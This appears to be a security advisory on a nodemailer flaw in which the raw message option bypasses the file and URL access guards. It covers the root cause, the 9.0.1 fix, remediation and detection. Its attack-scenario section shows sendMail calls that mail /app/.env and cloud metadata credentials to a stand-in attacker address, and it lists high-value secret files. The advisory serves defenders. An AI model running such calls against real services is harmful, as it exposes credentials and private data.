high

CVE

Not assigned

CWE

CWE-73, CWE-918, CWE-200

Affected Surface

nodemailer <= 9.0.0, Node.js services that pass untrusted message data into `transporter.sendMail()`, Applications that rely on `disableFileAccess` and `disableUrlAccess` as a sandbox boundary, Mail flows that allow attacker influence over the `raw` field, especially when the attacker can also control the recipient

nodemailer disclosed a new high-severity vulnerability on 17-18 June 2026: the package’s message-level raw option bypasses the same file and URL access guards that developers are expected to rely on when they feed untrusted mail data into the library.

This is not a generic “email library bug.” It is a trust-boundary failure in a package that many Node.js services use as infrastructure. Applications explicitly set disableFileAccess and disableUrlAccess because they do not trust parts of the message object. The vulnerable raw path silently discards both controls before nodemailer resolves file or URL-backed content, so a payload that should have been rejected is instead read, fetched, and sent.

Affected versions

The affected npm package is nodemailer:

  • nodemailer versions <= 9.0.0

Patched version:

  • nodemailer 9.0.1

Unlike the earlier June jsonTransport advisory, this finding is about the raw root-message path. If you remained on an older major line because you believed only jsonTransport was risky, the newly published advisory matters: the affected range spans every version up to 9.0.0, and the published fix line is 9.0.1.

Start with dependency inventory:

npm ls nodemailer

Then search for code that treats nodemailer as a sandbox for untrusted mail input:

rg -n "sendMail\\(|disableFileAccess|disableUrlAccess|raw:" src lib app services

The vulnerable code path

The root cause is small and easy to miss. In MailComposer.compile(), the raw branch constructed a MimeNode with only a newline option:

if (this.mail.raw) {
  this.message = new MimeNode("message/rfc822", {
    newline: this.mail.newline
  }).setRaw(this.mail.raw);
}

That matters because MimeNode enforces file and URL restrictions from its own constructor options. The advisory shows that sibling node builders such as _createMixed(), _createAlternative(), _createRelated(), and _createContentNode() all propagate:

disableFileAccess: this.mail.disableFileAccess,
disableUrlAccess: this.mail.disableUrlAccess

The raw builder did not. As a result, the execution path looked like this:

transporter.sendMail({ raw: <attacker-controlled>, to: <attacker-controlled> })
  -> MailComposer.compile()
  -> new MimeNode("message/rfc822", { newline })
  -> setRaw(...)
  -> _getStream(...)
  -> fs.createReadStream(path) or nmfetch(href)
  -> outgoing message body

The library therefore exposed a structural policy gap:

  1. The application set disableFileAccess or disableUrlAccess.
  2. The raw message node dropped those flags at construction time.
  3. _getStream() treated { path } and { href } as allowed content sources.
  4. The fetched bytes became the actual RFC822 message body that the transport delivered.

Why this is worse than the earlier June Nodemailer bug

This advisory is closely related to the earlier jsonTransport bypass, but it is materially worse for applications that actually send email.

The earlier issue affected normalization into locally returned JSON. This issue affects the normal send flow shared by all transports. The advisory explicitly traces the sink through fs.createReadStream() and nmfetch() into SMTP, SES, sendmail, stream, and JSON transports. In other words, this is not an internal-only leak. If the recipient is attacker-controlled, the exfiltration channel is the email itself.

Attack scenarios

Arbitrary local-file disclosure

If an application allows untrusted input to influence raw, an attacker can turn a supposed sandbox into server-side file read:

await transporter.sendMail({
  to: "attacker@evil.test",
  raw: { path: "/app/.env" },
  disableFileAccess: true
});

The intended result is an EFILEACCESS failure. On vulnerable builds, the file is opened and its bytes become the outgoing message body.

In real systems, the highest-value targets are usually:

  • /app/.env
  • cloud credential files
  • service account material
  • private keys or SMTP secrets
  • process-local files such as /proc/self/environ

Full-response SSRF

The second path is just as important:

await transporter.sendMail({
  to: "attacker@evil.test",
  raw: { href: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
  disableUrlAccess: true
});

Because the vulnerable node never receives disableUrlAccess, nodemailer can fetch the response server-side and embed the full body into the delivered email. That is a much stronger primitive than blind SSRF. The attacker does not just trigger a request; they receive the response contents if the application lets them steer the recipient.

Preconditions matter

This is not “instant compromise for any nodemailer install.” The advisory’s preconditions are still important:

  • the application must use nodemailer
  • it must rely on disableFileAccess or disableUrlAccess
  • untrusted input must influence the raw field

But those preconditions are realistic. nodemailer documents both flags as security options for situations where message content comes from untrusted JSON-like input. The vulnerable path is therefore dangerous precisely for the applications that tried to do the right thing.

The fix

The patch in 9.0.1 is intentionally narrow. The raw node builder now forwards the missing guards:

if (this.mail.raw) {
  this.message = new MimeNode("message/rfc822", {
    newline: this.mail.newline,
    disableFileAccess: this.mail.disableFileAccess,
    disableUrlAccess: this.mail.disableUrlAccess
  }).setRaw(this.mail.raw);
}

This is the correct remediation because MimeNode already knew how to reject blocked file and URL sources. The bug was not in the sink implementation; it was in inconsistent policy propagation before the sink was reached.

From an AppSec perspective, this is the lesson to keep: once a library applies security policy per node, constructor, adapter, or transport, every shortcut path has to thread that policy explicitly. Otherwise the “safe” API contract only exists on the happy path.

Remediation

Upgrade to a fixed release:

npm install nodemailer@^9.0.1

Then verify the resolved version:

npm ls nodemailer

If a transitive dependency pins an affected version, update the parent package or use your repository’s existing override mechanism until upstream packages catch up.

Detection and triage

Search for these patterns:

sendMail({
raw:
disableFileAccess
disableUrlAccess
message/rfc822

Focus review on:

  • email templating services that accept rich message definitions over HTTP
  • workflow engines that replay stored message JSON
  • internal admin tools that let users submit prebuilt MIME content
  • test harnesses that assumed disableFileAccess or disableUrlAccess was a hard security boundary

If an affected service allowed attacker influence over raw, review logs and outbound email records for unusual messages whose body appears to contain local configuration, environment data, or internal HTTP responses. If the recipient was attacker-controlled, treat exposed secrets as compromised and rotate them from a clean system.

Why this belongs on the research radar

This advisory is a good example of a modern application-security failure mode in package ecosystems: the package did ship a defensive control, and the application may have enabled it correctly, but one rarely used execution path silently bypassed the control. That is exactly the kind of bug that slips through code review in mature infrastructure libraries and still creates a high-impact exploit path for downstream applications.

References